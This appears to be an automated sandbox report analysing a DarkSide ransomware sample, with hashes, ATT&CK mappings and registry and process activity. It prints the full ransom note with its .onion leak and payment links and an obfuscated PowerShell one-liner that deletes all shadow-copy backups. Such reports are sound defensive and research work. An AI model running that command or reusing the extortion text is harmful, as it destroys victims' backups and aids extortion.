darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:36

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General

Target

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Size

59KB
MD5

47a4420ad26f60bb6bba5645326fa963
SHA1

7a29a8f5e14da1ce40365849eb59487dbb389d08
SHA256

78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134
SHA512

08c82585fbab8e090e67e4571f7428bffaf68f9a8c2e34b72f9688205ee880a6435aa813b8845a0b0281c80b78774b969032cc27fc98d3f0e67116dabcf77127
SSDEEP

768:bjjeDIax7F3DS4/S9zDCuUSbVydNcxGV1ylfNY23W5:Qx7Fu4/iSrXDTV1yluZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.47246f95.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, private data was downloaded. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 300GB data. Your personal leak page (TOR LINK): http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published in our blog if you do not pay. After publication, your data can be downloaded by anyone, it stored on our tor CDN and will be available for at least 6 months. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. HOW TO CONTACT US? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16 When you open our website, put the following data in the input form: Key: FSGLQojvXe6Tvm2w0wxP3QfWkJb1USBnFsbmL4CiIX0sBiV727ofcmrdJmUTgBStIrH7sgcBDo4SPki6BniKhpd7d4zjLSAxmtlwLAHLgtBnwYPuW05gxF4VPuXsylwu2p3k6ZWDTjCIZVVG04RCYEfS3AP25AWqGkFDh4KVy7MZsCVH7RwxEdhWyApxi7Ioai3v52ofbfNgys0V0sG2xWqJgtluhQ4J23O7jCZxqMM10civs8NlDmeJAiIkI43RrPDd3P2kA03ky3oUBNeUPOOnAztZQezpfAgiM8evd3HE9aua1yUEX4hndxmFU02CEYIiyah3g5ywISASKAeiXKCJoThOot42MHwMCl0G7wP6KdHVyPx8uhBdT2kbzvjGZvmOibfxKUlxJlhai4DhjDp9mUuJajTrBYoeogvOzrgc8iv0PcrAABLRGU2I9uSFIlFqZeuIp7qMW7DIZKrunidyvfL1oTtuosI8bQ0BVvooDC1BB5n5Biw9x2yBNit4lOjMhY00P3wTLvMhS3ZQ6eGKDmx7GrQ7ydGo6I2A0eQx9dpuxhWpkpc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/homehardware/K4fLrrmO5GOIBHbhfJyN5rG4pkPcRlnc48ceUHtNgjONruPRTVc4Usyb96BuHkKa

http://darksidfqzcuhtk2.onion/FJ6BL608YXVN8DGFDP23JVF2RU0K0IC102LSJA09Z2JF14A1SCCJBOVPLRHSLU16

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (177) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\47246f95.BMP"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\47246f95.BMP"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallpaperStyle = "10"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95\ = "47246f95"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\47246f95.ico"	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2668	powershell.exe
2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSecurityPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeTakeOwnershipPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeLoadDriverPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemProfilePrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemtimePrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeProfSingleProcessPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeIncBasePriorityPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeCreatePagefilePrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeBackupPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeRestorePrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeShutdownPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeDebugPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeSystemEnvironmentPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeRemoteShutdownPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeUndockPrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeManageVolumePrivilege	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 33	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 34	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: 35	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeBackupPrivilege	1476	vssvc.exe
Token: SeRestorePrivilege	1476	vssvc.exe
Token: SeAuditPrivilege	1476	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 2668	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	29
PID 2224 wrote to memory of 2668	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	29
PID 2224 wrote to memory of 2668	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	29
PID 2224 wrote to memory of 2668	2224	78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
"C:\Users\Admin\AppData\Local\Temp\78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2668

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
705024cc31b25e406d28705cf9299e29

SHA1
1ddbaac86e25ab746532392c522166243cff9b4e

SHA256
f02a62d2344565b5ba96b7e1b402ac8a396d01eb81dcb31c92b621b79c2f0474

SHA512
563416463ff7eb2ced371012aec8d7d2db13e6722637cd88b1901941834a73351376a4da24f68ca26a294f8531f3f83af6d73f0fa0de9da4f1367d4dd5aec88a

Download Submit
C:\Users\Admin\README.47246f95.TXT

Filesize
2KB

MD5
8f3af937b073ccc1eb6e0693c3922e1e

SHA1
5a74d49a712238cfd8989fddf0aff1828bee6be6

SHA256
2a301030357315a94c20d0ce0d9b12848d9c451a9836dbc8e4d5674444291975

SHA512
2c628ec9774aeff244985217079bbdb72b6af7c123f0caace5e14a7f89286ccf16bb29ae022b015a3e52158cc26b080d2a74627aaf843f466cc1328c85a0fabc

Download Submit
memory/2668-5-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2668-6-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2668-7-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-8-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2668-9-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2668-10-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/2668-11-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-12-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download